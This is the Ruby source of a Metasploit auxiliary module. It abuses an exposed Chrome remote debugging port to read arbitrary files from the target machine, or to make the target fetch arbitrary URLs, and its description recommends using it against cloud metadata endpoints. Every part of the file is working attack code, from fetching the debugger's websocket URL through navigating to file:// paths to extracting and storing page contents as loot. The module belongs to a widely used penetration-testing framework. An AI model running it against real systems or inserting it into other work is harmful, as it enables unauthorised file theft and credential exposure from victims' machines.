metasploit-framework/modules/auxiliary/gather/chrome_debugger.rb

125 lines
3.4 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'eventmachine'
require 'faye/websocket'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Chrome Debugger Arbitrary File Read / Arbitrary Web Request',
'Description' => %q{
This module uses the Chrome Debugger's API to read
files off the remote file system, or to make web requests
from a remote machine. Useful for cloud metadata endpoints!
},
'Author' => [
'Adam Baldwin (Evilpacket)', # Original ideas, research, proof of concept, and msf module
'Nicholas Starke (The King Pig Demon)' # msf module
],
'DisclosureDate' => '2019-09-24',
'License' => MSF_LICENSE
))
register_options(
[
Opt::RPORT(9222),
OptString.new('FILEPATH', [false, 'File to fetch from remote machine.']),
OptString.new('URL', [false, 'Url to fetch from remote machine.']),
OptInt.new('TIMEOUT', [true, 'Time to wait for response', 10])
]
)
deregister_options('Proxies')
deregister_options('VHOST')
deregister_options('SSL')
end
def run
if (datastore['FILEPATH'].nil? || datastore['FILEPATH'].empty?) && (datastore['URL'].nil? || datastore['URL'].empty?)
print_error('Must set FilePath or Url')
return
end
res = send_request_cgi({
'method' => 'GET',
'uri' => '/json'
})
if res.nil?
print_error('Bad Response')
return
end
data = JSON.parse(res.body).pop
EM.run do
file_path = datastore['FILEPATH']
url = datastore['URL']
if file_path
fetch_uri = "file://#{file_path}"
else
fetch_uri = url
end
print_status("Attempting Connection to #{data['webSocketDebuggerUrl']}")
unless data.key?('webSocketDebuggerUrl')
fail_with(Failure::Unknown, 'Invalid JSON')
end
driver = Faye::WebSocket::Client.new(data['webSocketDebuggerUrl'])
driver.on :open do
print_status('Opened connection')
id = rand(1024 * 1024 * 1024)
@succeeded = false
EM::Timer.new(1) do
print_status("Attempting to load url #{fetch_uri}")
driver.send({
'id' => id,
'method' => 'Page.navigate',
'params' => {
url: fetch_uri
}
}.to_json)
end
EM::Timer.new(3) do
print_status('Sending request for data')
driver.send({
'id' => id + 1,
'method' => 'Runtime.evaluate',
'params' => {
'expression' => 'document.documentElement.outerHTML'
}
}.to_json)
end
end
driver.on :message do |event|
print_status('Received Data')
data = JSON.parse(event.data)
if data['result']['result']
loot_path = store_loot('chrome.debugger.resource', 'text/plain', rhost, data['result']['result']['value'], fetch_uri, 'Resource Gathered via Chrome Debugger')
print_good("Stored #{fetch_uri} at #{loot_path}")
@succeeded = true
end
end
EM::Timer.new(datastore['TIMEOUT']) do
EventMachine.stop
fail_with(Failure::Unknown, 'Unknown failure occurred') unless @succeeded
end
end
end
end